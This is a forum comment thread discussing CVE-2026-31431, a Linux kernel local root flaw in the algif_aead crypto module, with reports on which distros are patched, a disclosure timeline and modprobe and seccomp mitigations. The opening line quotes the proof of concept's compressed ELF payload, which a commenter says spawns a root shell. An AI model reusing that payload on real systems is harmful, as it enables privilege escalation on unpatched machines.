>zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
That said, I understand why a terser script might have been prioritized.
EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.
It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.
This is usable anywhere on an affected Kernel version
sync && echo 3 >/proc/sys/vm/drop_caches
Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.
I can't get it to work on any distro i've tried.
> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
There is no update available for Ubuntu 24, PoC works and just tried updating.
$ ls -lah /run/wrappers/bin/su
-r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su
I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.
This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.
> block AF_ALG socket creation via seccomp regardless of patch state.
Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -u % git describe a664bf3d603d
v7.0-rc1-10-ga664bf3d603d
Password: su: Authentication token manipulation error
I'm guessing this means it's already patched?
you are reading about it now because it has been patched.
Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable.
Debian other than forky and sid are currently listed as vulnerable.
This is a disgrace.
2026-03-23Reported to Linux kernel security team
2026-03-24Initial acknowledgment
2026-03-25Patches proposed and reviewed
2026-04-01Patch committed to mainline
2026-04-22CVE-2026-31431 assigned
2026-04-29Public disclosure (https://copy.fail/)
Give up entirely on non-virtualized container security?
This is not sarcasm. I'd finally given in and started learning about docker/podman-style OCI containerization last week.
For immediate mitigation, block AF_ALG socket creation via seccomp or blacklist the algif_aead module:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/nullI'd do 'umask 133' in front of the echo out of paranoia.
Out of curiosity, was the asterisk after '2>/dev/null' intentional? I had not seen that idiom before.
In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.
This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).
Anybody has the same feeling?